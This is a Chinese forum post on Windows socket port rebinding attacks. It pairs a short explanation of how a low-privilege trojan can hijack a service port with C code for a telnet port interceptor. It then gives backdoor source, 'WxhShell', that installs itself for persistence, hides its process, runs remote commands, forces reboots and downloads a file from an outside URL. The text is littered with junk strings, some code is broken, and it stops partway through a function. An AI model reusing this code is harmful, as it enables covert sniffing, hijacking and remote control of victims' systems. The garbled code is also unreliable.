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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: kfMhw M8kP  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~")h E%Kl}  
(R4PD  
  saddr.sin_family = AF_INET; Vl5SL{+D  
_o@(wGeu#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); G$?|S@I,  
4zo4H~@gk  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !Y ;H(.A/  
N5pinR5 H  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 W]@gQ (Ef  
iGG6Myp-  
  这意味着什么?意味着可以进行如下的攻击: _u:>1]  
Qqd6.F  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Yw$a{5g  
UJee&4C-y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 82j'MgGP  
(Oxz'#TX  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 A[u)wX^`f^  
Vk MinE  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  l,*yEkU  
JP{UgcaF  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5SoZ$,a<e  
|ZvNH ~!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Uj4Lu  
u~$WH, P3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 pyUNRqp  
iBG`43;  
  #include 1 L+=|*:  
  #include A)\>#Dv  
  #include ;;ER"N  
  #include    "KMLk  
  DWORD WINAPI ClientThread(LPVOID lpParam);   jrIA]K6  
  int main() `^v4zWDK  
  { S304ncS|M  
  WORD wVersionRequested; Hze-Ob8  
  DWORD ret; G 6Wx3~  
  WSADATA wsaData; ( MB`hk-d  
  BOOL val; M (+.$uz  
  SOCKADDR_IN saddr; p]wP36<S!  
  SOCKADDR_IN scaddr; uz]E_&2  
  int err; :|Z$3q  
  SOCKET s; R;H?gE^m-  
  SOCKET sc; 1a<]$tZk  
  int caddsize; (7IqY1W  
  HANDLE mt; ykxbX  
  DWORD tid;   q^Z~IZ8IT  
  wVersionRequested = MAKEWORD( 2, 2 ); 'Pf_5q  
  err = WSAStartup( wVersionRequested, &wsaData ); LYp'vZ!  
  if ( err != 0 ) { Nc{]zWL9  
  printf("error!WSAStartup failed!\n"); Uh>.v |P6  
  return -1; |r5e{  
  } sC% b~  
  saddr.sin_family = AF_INET; -@rxiC:Q  
   ?Q@L-H`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `'u Umyg  
}ppVR$7]0  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ej' 7h~=v  
  saddr.sin_port = htons(23); *Wzwbwg  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) h2"9"*S1  
  { -g:lOht  
  printf("error!socket failed!\n"); DKh}Y !Q=:  
  return -1; L'>s(CR  
  } 1<`9HCm  
  val = TRUE; w|=gSC-o  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 N6h1|_o  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6MuWlCKF8  
  { (YIhTSL"]  
  printf("error!setsockopt failed!\n"); Z)/6??/R  
  return -1; Kaf>  
  } `8,w[o oC2  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =K :(&6f<t  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \ZS\i4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 w TlGJ$D0  
sYI~dU2H  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) QjLji +L  
  { p"KU7-BfvC  
  ret=GetLastError(); O:1DOUYXs  
  printf("error!bind failed!\n"); -PM)EGSk{  
  return -1; h}avX*Lx_  
  } qtHfz"p  
  listen(s,2); eK9TAW  
  while(1) -n$ewV  
  { CD}Ns  
  caddsize = sizeof(scaddr); Yb}w;F8(  
  //接受连接请求 3w Z(+<4i  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); i|%5  
  if(sc!=INVALID_SOCKET) Kh)F yV  
  { BBvZeG $Y  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); L!gDFZr  
  if(mt==NULL) N0Gf0i>  
  { Uan,H1a   
  printf("Thread Creat Failed!\n"); M`~!u/D7  
  break; sMH#BCC  
  } co/7lsW  
  } =N_,l'U\^  
  CloseHandle(mt); 9RxO7K  
  } "IG+V:{ou  
  closesocket(s); k^^:;OR  
  WSACleanup(); uArR\k(  
  return 0; MHo1 lrZa+  
  }   [h4o7  
  DWORD WINAPI ClientThread(LPVOID lpParam) =D].`  
  { ~Eq\DK  
  SOCKET ss = (SOCKET)lpParam; ]M3# 3Ha"  
  SOCKET sc; ]NtSu%u  
  unsigned char buf[4096]; ]ZTcOf  
  SOCKADDR_IN saddr; Ib1e#M3  
  long num; O6iCZ  
  DWORD val; W (`c  
  DWORD ret; azo0{`S?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 < A?<N?%o  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8%[HYgd5)  
  saddr.sin_family = AF_INET; B;!f<"a8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +yWR#[`n  
  saddr.sin_port = htons(23); RZO5=L9E  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6Nt$ZYS  
  { [Uli>/%JB  
  printf("error!socket failed!\n"); TFy7HX\Oq  
  return -1; F6W}mMZH/N  
  } Pd~MiyO;K  
  val = 100; 2J<&rKCF  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9cQ_mgch  
  { G;TsMq  
  ret = GetLastError(); $}R$t-  
  return -1; YsP/p-  
  } bC~~5Cm  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q2/.6O8  
  { JDv-O&]  
  ret = GetLastError(); o9Sn*p-.  
  return -1; ( KTnJZ  
  } ioV_oR9I  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <C<`J{X0  
  { iq6a|XGi  
  printf("error!socket connect failed!\n"); 6z?gg3GV  
  closesocket(sc); ~O: U|&  
  closesocket(ss); |)o#|Qo  
  return -1; EvE,Dm?h  
  } W J+> e+  
  while(1) SMoz:J*Q(  
  { f-g1[!"F  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 X \f[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ([ dT!B#aH  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 EfiU$ 8y  
  num = recv(ss,buf,4096,0); iePf ]O*  
  if(num>0) nxaT.uFd1  
  send(sc,buf,num,0); Ftv8@l  
  else if(num==0) (ZP87Gz  
  break; ->E=&X  
  num = recv(sc,buf,4096,0); >qR~'$,$  
  if(num>0) 9s`/~ a@  
  send(ss,buf,num,0); Bux'hc  
  else if(num==0) j7 d:v7+_  
  break; J!h^egP  
  } '<@=vGsye  
  closesocket(ss); phP> 3f.T  
  closesocket(sc); ip``v0Nf  
  return 0 ; Yv )aAWEa  
  } +a|/l  
}Qrab#v  
9<s4yZF@x  
========================================================== PuXUuJx(  
:Q@)*kQH  
下边附上一个代码,,WXhSHELL /smiopFcq  
dqe7sZl!  
========================================================== X=~V6m  
Ct]A%=cZW  
#include "stdafx.h" Y)b@0'  
ZPO|<uR  
#include <stdio.h> 7*s8 ttX  
#include <string.h> 8)xt(~qF  
#include <windows.h> ~rv})4h  
#include <winsock2.h> feEMg  
#include <winsvc.h> 0 ^~\COa  
#include <urlmon.h> .Q>!B?)  
&ZJgQ-Pc(m  
#pragma comment (lib, "Ws2_32.lib") ^# e~g/  
#pragma comment (lib, "urlmon.lib") Veji^-0E  
:reTJQwr  
#define MAX_USER   100 // 最大客户端连接数 Zb''mf\  
#define BUF_SOCK   200 // sock buffer g4&jo_3:p  
#define KEY_BUFF   255 // 输入 buffer $-vo}k%M  
.L;@=Yg )  
#define REBOOT     0   // 重启 'C?NJ~MN  
#define SHUTDOWN   1   // 关机 Qw)9r{f  
}$g mK  
#define DEF_PORT   5000 // 监听端口 M>l^%`  
N.j "S'(i  
#define REG_LEN     16   // 注册表键长度 |(% u}V?  
#define SVC_LEN     80   // NT服务名长度 XnUO*v^]  
`v nJ4*  
// 从dll定义API ~]uZy=P? 5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D>sYPrf  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .g% Y@r)=5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vtxvS3   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |L:Cn J  
1 W'F3  
// wxhshell配置信息 oq;'eM1,.  
struct WSCFG { ftZj}|R!  
  int ws_port;         // 监听端口 @Doyt{|T  
  char ws_passstr[REG_LEN]; // 口令 .T.5TMiOSq  
  int ws_autoins;       // 安装标记, 1=yes 0=no Xl%0/ o  
  char ws_regname[REG_LEN]; // 注册表键名 IFuZ]CBz  
  char ws_svcname[REG_LEN]; // 服务名 H:S,\D?%2x  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x?r1s#88>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K7`YJp`i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P $ >`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no S~F`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7#-y-B]l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :w-`PY J%G  
.FP$ IWt/1  
}; 5/I_w0  
7#2j>G{?]v  
// default Wxhshell configuration >nn Y:7m  
struct WSCFG wscfg={DEF_PORT, {0yu   
    "xuhuanlingzhe", Xm_$ dZ  
    1, BW Uq%o,@g  
    "Wxhshell", G'#41>q+  
    "Wxhshell", g9mG`f  
            "WxhShell Service", ~OFvu}]  
    "Wrsky Windows CmdShell Service", svhrf;3:  
    "Please Input Your Password: ", rPiNv 30L  
  1, \7Cg,Xn  
  "http://www.wrsky.com/wxhshell.exe", `l]j#qshTm  
  "Wxhshell.exe" ~&VN_;j_  
    }; v}uJtBG(  
&__DJ''+  
// 消息定义模块 /"#4T^7&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (ku5WWJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;vp\YIeX1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; TEVI'%F  
char *msg_ws_ext="\n\rExit."; ' UMFS  
char *msg_ws_end="\n\rQuit."; ]~c+'E`  
char *msg_ws_boot="\n\rReboot..."; Ruaur]  
char *msg_ws_poff="\n\rShutdown..."; 8{I"q[GZ  
char *msg_ws_down="\n\rSave to "; rT7^-B*  
=@r--E  
char *msg_ws_err="\n\rErr!"; qfL-r,XS`F  
char *msg_ws_ok="\n\rOK!"; d*]Ew=^L  
B BL485`  
char ExeFile[MAX_PATH]; pGWA\}'  
int nUser = 0; ffcLuXa  
HANDLE handles[MAX_USER]; @}LZ! y  
int OsIsNt; RA/EpD:H  
ps1@d[n  
SERVICE_STATUS       serviceStatus; sH!O0WL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; pP/@  
')#,X^   
// 函数声明 TZB+lj1  
int Install(void); }Uw#f@Wh  
int Uninstall(void); >bm|%Ou"  
int DownloadFile(char *sURL, SOCKET wsh);  Ewo~9 4{  
int Boot(int flag); Z=$  T1|  
void HideProc(void); QT!5l`  
int GetOsVer(void); ;j} yB  
int Wxhshell(SOCKET wsl); a/:XXy |  
void TalkWithClient(void *cs); ;e s^R?z  
int CmdShell(SOCKET sock); J !#Zi#8sF  
int StartFromService(void); }E&NPp>  
int StartWxhshell(LPSTR lpCmdLine); Ex(3D[WmMW  
\M+L3*W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xHkxc}h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ka-p& Uv1<  
`~F5 wh~  
// 数据结构和表定义 Plo,XU  
SERVICE_TABLE_ENTRY DispatchTable[] = r6.N4eW.L  
{ 4\2V9F{s  
{wscfg.ws_svcname, NTServiceMain}, 3C^1f rF  
{NULL, NULL} ~!:0iFE&H  
}; _N#&psQzw  
vK$^y^  
// 自我安装 2V gP  
int Install(void) 8 %Sb+w07  
{ Y& {|Sw7?  
  char svExeFile[MAX_PATH]; ,E*R,'w   
  HKEY key; T{Zwm!s  
  strcpy(svExeFile,ExeFile); v%91k  
B@K[3  
// 如果是win9x系统,修改注册表设为自启动 (Wj2?k/]  
if(!OsIsNt) { -G`.y?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Px;Cg 6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;u-4KK  
  RegCloseKey(key); u?0d[mC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]> G&jd7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); igkz2SI  
  RegCloseKey(key); M7dU@Ag  
  return 0; z'MS#6|}  
    } ?b:_AO&  
  } -T_\f?V88  
} _j ;3-m  
else { t&RruwN_;  
+"!aM?o  
// 如果是NT以上系统,安装为系统服务 B;t=B_oK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zK5bO= 0j  
if (schSCManager!=0) .{so  
{ }C#3O{5  
  SC_HANDLE schService = CreateService oyeG$mpg  
  ( YD_]!HK}  
  schSCManager, %'ZN`XftG  
  wscfg.ws_svcname, < oI8-f  
  wscfg.ws_svcdisp, AXW!]=?X  
  SERVICE_ALL_ACCESS, :)c80`-E  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]7/gJ>g,  
  SERVICE_AUTO_START, P]6}\ ]~  
  SERVICE_ERROR_NORMAL, 3N4.$#>#9@  
  svExeFile, ([k7hUP  
  NULL, 9){  
  NULL, $kz!zjC'  
  NULL, _<Dt z  
  NULL, (JZ".En#X  
  NULL Zhi})d3l  
  ); o /p-!  
  if (schService!=0) %xlpB75N4N  
  { HnZPw&*  
  CloseServiceHandle(schService); HOPqxI(k  
  CloseServiceHandle(schSCManager); !: us!s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5K.+CO<  
  strcat(svExeFile,wscfg.ws_svcname); Z9 w:&oa@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Pl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b1^cD6sT+  
  RegCloseKey(key); C1B'#F9EO  
  return 0; T9jw X:n  
    } TQ'E5^  
  } e!0OW7 kV  
  CloseServiceHandle(schSCManager); r6Nm!Bq7  
} 5P ke8K  
} 32>x^>G=>  
_l&ucA  
return 1; la, h  
} 9([6d.`~  
vDE |sT  
// 自我卸载 P Jo  
int Uninstall(void) %e=!nRc  
{ T\sNtdF`:  
  HKEY key; (B#(Z=  
C0m\SNR  
if(!OsIsNt) { =ApY9`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q7a(P  
  RegDeleteValue(key,wscfg.ws_regname); k0ItG?Cv  
  RegCloseKey(key); *\ECf .7jz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ExrY>*v  
  RegDeleteValue(key,wscfg.ws_regname); P6Xp<^%E  
  RegCloseKey(key); w|Qd`  
  return 0; S+T|a:]\7  
  } Gp|JU Fo  
} q=0 pQ1>  
} %z)EO9vtr  
else { uqZ3Hyb  
^gg!Me  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E(Gr0#8  
if (schSCManager!=0) 3|eUy_d3  
{ 9g@NcJ]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -Ktwo_ V*  
  if (schService!=0) Yj8&  
  { dY'Y5Th~  
  if(DeleteService(schService)!=0) { JvJ;bFXD  
  CloseServiceHandle(schService); Q[_Ni15  
  CloseServiceHandle(schSCManager); e\N0@   
  return 0; dR[o|r  
  } ?r3e*qJGn  
  CloseServiceHandle(schService); "c Pz|~  
  } QJXdb]Y^;  
  CloseServiceHandle(schSCManager); 8/q*o>[?  
} O@,i1ha%  
} YFvgz.>QE  
r8v:|Q1"  
return 1; wn84?$BGd  
} e,Zv]Cym  
v5 Y)al@  
// 从指定url下载文件 Xb<)LHA~3  
int DownloadFile(char *sURL, SOCKET wsh) gWu"91Y0>  
{ *l!5QG UoK  
  HRESULT hr; g i4  
char seps[]= "/"; yq6LH   
char *token; ETelbj;0  
char *file; ^5x4q  
char myURL[MAX_PATH]; n\>.T[$"  
char myFILE[MAX_PATH]; V9{B}5KC  
t2.juoI(  
strcpy(myURL,sURL); pqfT\Kb>  
  token=strtok(myURL,seps); NG)7G   
  while(token!=NULL) JtmQzr0>  
  { ?>?ZAr  
    file=token; _85E=  
  token=strtok(NULL,seps); viV-e$s`.  
  } P^4'|#~2T  
=|JKu'  
GetCurrentDirectory(MAX_PATH,myFILE); l $Zs~@N  
strcat(myFILE, "\\"); J/7 u7_  
strcat(myFILE, file); M?hFCt3Y  
  send(wsh,myFILE,strlen(myFILE),0); <2)v9c  
send(wsh,"...",3,0); Y6;@/[_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cVg$dt  
  if(hr==S_OK) =,E'~P  
return 0; a71}y;W  
else me$$he  
return 1; K~JC\a\0  
OR~GOv|  
} (WMLNv  
g& >m P?  
// 系统电源模块 Eq7gcDQ  
int Boot(int flag) in?T]}  
{ Is kSX  
  HANDLE hToken; >I:9'"`  
  TOKEN_PRIVILEGES tkp; 6#-Z@fz%  
P.1Qc)m4  
  if(OsIsNt) { U]mO7HK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2dyxKK!\a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l~{T#Q  
    tkp.PrivilegeCount = 1; {4)5]62>u  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; FJlsWh4,6=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Nc:U4  
if(flag==REBOOT) { T-!|l7V~f  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y|LXDq4Wj  
  return 0; 6(sfpK'  
} bZnDd  
else { t5A[o7BS  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `|NevpXY1  
  return 0; LVWxd}0  
} ; ?j~8  
  } Qvs(Rt3?y  
  else { @OrXbG7&>#  
if(flag==REBOOT) {  ^ M8k  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ":z@c,  
  return 0; Xe> ~H4I9  
} a1 _o.A  
else { AF QnCl Of  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q!Msy<v  
  return 0; >sB=\  
} LsUFz_  
} 739l%u }<  
8Q)y%7 {6  
return 1; l.yJA>\24I  
} Hv+:fr"  
[lrmuf  
// win9x进程隐藏模块 %PSz o8.l  
void HideProc(void) L5TNsLx(  
{ '1qAZkz  
( / G)"]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fCs\Q  
  if ( hKernel != NULL ) Q=MCMe  
  { $o{F  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ` 3vN R"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e(4bx5 <*  
    FreeLibrary(hKernel); =/M$ <+  
  } b^@`uDb6  
cRjL3  
return; !~Ax  
}  |UABar b  
av7q>NEZ!1  
// 获取操作系统版本 ~4}*Dhsh  
int GetOsVer(void) 5J?bE?X  
{ GR_p1 C\  
  OSVERSIONINFO winfo; k-;.0!D^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o&*1U"6D  
  GetVersionEx(&winfo);   zd.1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mJ7 `.  
  return 1; t=AE7  
  else |~Htj4K/  
  return 0; LAOdH/*:  
} z2"2tFK  
W8\PCXnsfl  
// 客户端句柄模块 F<H`8*q9  
int Wxhshell(SOCKET wsl) %'$cH$%~J  
{ *#3voJjV(  
  SOCKET wsh; ^Osd/g  
  struct sockaddr_in client; $#g#[ /  
  DWORD myID; qYQUr8{  
xF2f/y   
  while(nUser<MAX_USER) N}eU.#L  
{ Y*h`),  
  int nSize=sizeof(client); c4FOfH|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oC ^z_AtZ  
  if(wsh==INVALID_SOCKET) return 1; |% la  
eYnLZ&H5O  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }A)^XZ/  
if(handles[nUser]==0) +5N^TnBtBL  
  closesocket(wsh); KzxW?Ji$S  
else Hz8Jgp  
  nUser++; rjhs ?  
  } 'Y,+D`&i)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )< X=z  
PxdJOtI"  
  return 0; D>!v_v6  
} )dUd`g  
2_B;  
// 关闭 socket PprQq_j  
void CloseIt(SOCKET wsh) /zDSlj<c  
{ YA1{-7'Q  
closesocket(wsh); ]JhDRJ\  
nUser--; 7%~VOB  
ExitThread(0); Q{(,/}kA-  
} '_Hb}'sFI  
b{9HooQ{  
// 客户端请求句柄 ORFr7a'K  
void TalkWithClient(void *cs) !>"INmz  
{ f@,hO5h(_|  
>TH-Q[  
  SOCKET wsh=(SOCKET)cs; OsHkAI  
  char pwd[SVC_LEN]; PW~cqo B71  
  char cmd[KEY_BUFF]; .q~,.yI&j  
char chr[1]; #b<lt'gC  
int i,j; T-<>)N5y  
XACEt~y  
  while (nUser < MAX_USER) { s%0[DO3NV  
g,{Ei]$>I  
if(wscfg.ws_passstr) { ={wjeRp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O(:u(U7e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tZ*f~yW  
  //ZeroMemory(pwd,KEY_BUFF); JXRmu~W~l  
      i=0; :IOn`mRYu  
  while(i<SVC_LEN) { x 1 R!  
:&\E\9  
  // 设置超时 `tUeT[  
  fd_set FdRead; ).O\O)K  
  struct timeval TimeOut; #Fb0;H9`  
  FD_ZERO(&FdRead); eO"\UDBV  
  FD_SET(wsh,&FdRead); } SWA|x  
  TimeOut.tv_sec=8; ZJ{+_ax0K  
  TimeOut.tv_usec=0; >cU*D:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )f_"`FH0d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k[^}ld[  
fmT3Afl5c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3n=O8Fp  
  pwd=chr[0]; !W6    
  if(chr[0]==0xd || chr[0]==0xa) { *N&^bF"SF  
  pwd=0; 7lBQd(  
  break; }f0^9(  
  } b;t}7.V'%  
  i++; gE]a*TOZk  
    } XV0<pV>  
&*?!*+!,i  
  // 如果是非法用户,关闭 socket ` wsMybe#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n"Z,-./m  
} ?\/dfK:!  
[{d[f|   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); - KoA[UJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o<eWg  
x]jdx#'  
while(1) { 6iA c@  
6nhfI\q3wY  
  ZeroMemory(cmd,KEY_BUFF); V~%WKQ  
/*xmv $  
      // 自动支持客户端 telnet标准   eyl) uR  
  j=0; [^"(%{H  
  while(j<KEY_BUFF) { D%";!7u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pdXgr)Uv  
  cmd[j]=chr[0]; 75BOiX  
  if(chr[0]==0xa || chr[0]==0xd) { Fr Q-v]c  
  cmd[j]=0; D9pxe qf+=  
  break; DIcyXZH<  
  } *U[Q=w  
  j++; PrYWha=c-  
    } bNPjefBF  
VIlQzM;%^  
  // 下载文件 )jQe K  
  if(strstr(cmd,"http://")) { 4s+J-l  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); / hj9Q!  
  if(DownloadFile(cmd,wsh)) KE|u}M@v6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z+pvdu  
  else JKu6+V jO  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .4m3@!qo)E  
  } )]e d;V  
  else { QIxJFr;>  
]t!}D6p  
    switch(cmd[0]) { '-1jWw:8  
  &4$43\(D  
  // 帮助 (? #U&  
  case '?': { Ok.DSOT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9.w3VF_C  
    break; i|! 9o:  
  } OuJ y$e  
  // 安装  "%@=?X8  
  case 'i': { gT\y&   
    if(Install()) 0kr& c;~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -*{(#k$  
    else y0y;1N'KK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @'| 6lG  
    break; E/Gs',Y  
    } n<(5B|~y  
  // 卸载 Kd|l\k!  
  case 'r': { ;>x1)|n5  
    if(Uninstall()) J hq5G"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1:l&&/Wy  
    else mDt",#g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QBT-J`Pz  
    break; . R8W<  
    } $S-;M0G x  
  // 显示 wxhshell 所在路径 7-0twq   
  case 'p': { o9SfWErZ  
    char svExeFile[MAX_PATH]; b}{9 :n/SC  
    strcpy(svExeFile,"\n\r"); >|&OcU  
      strcat(svExeFile,ExeFile); ba:du |Ec  
        send(wsh,svExeFile,strlen(svExeFile),0); 5~rY=0t  
    break; T!eh?^E  
    } 8X~vJ^X9@y  
  // 重启 5r}(|86O/  
  case 'b': { `uJ l<kHI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L\'qAfRZ  
    if(Boot(REBOOT)) VH1c)FI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s/'hLkxI  
    else { Qmh(+-Mp(  
    closesocket(wsh); LCm}v&~%A  
    ExitThread(0); QMfy^t+I  
    } {*P7)  
    break; 9(gOk  
    } MicVNs  
  // 关机 KKTfxNxJn  
  case 'd': { {(:)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .`8,$"`4)  
    if(Boot(SHUTDOWN)) ?g1 .-'  
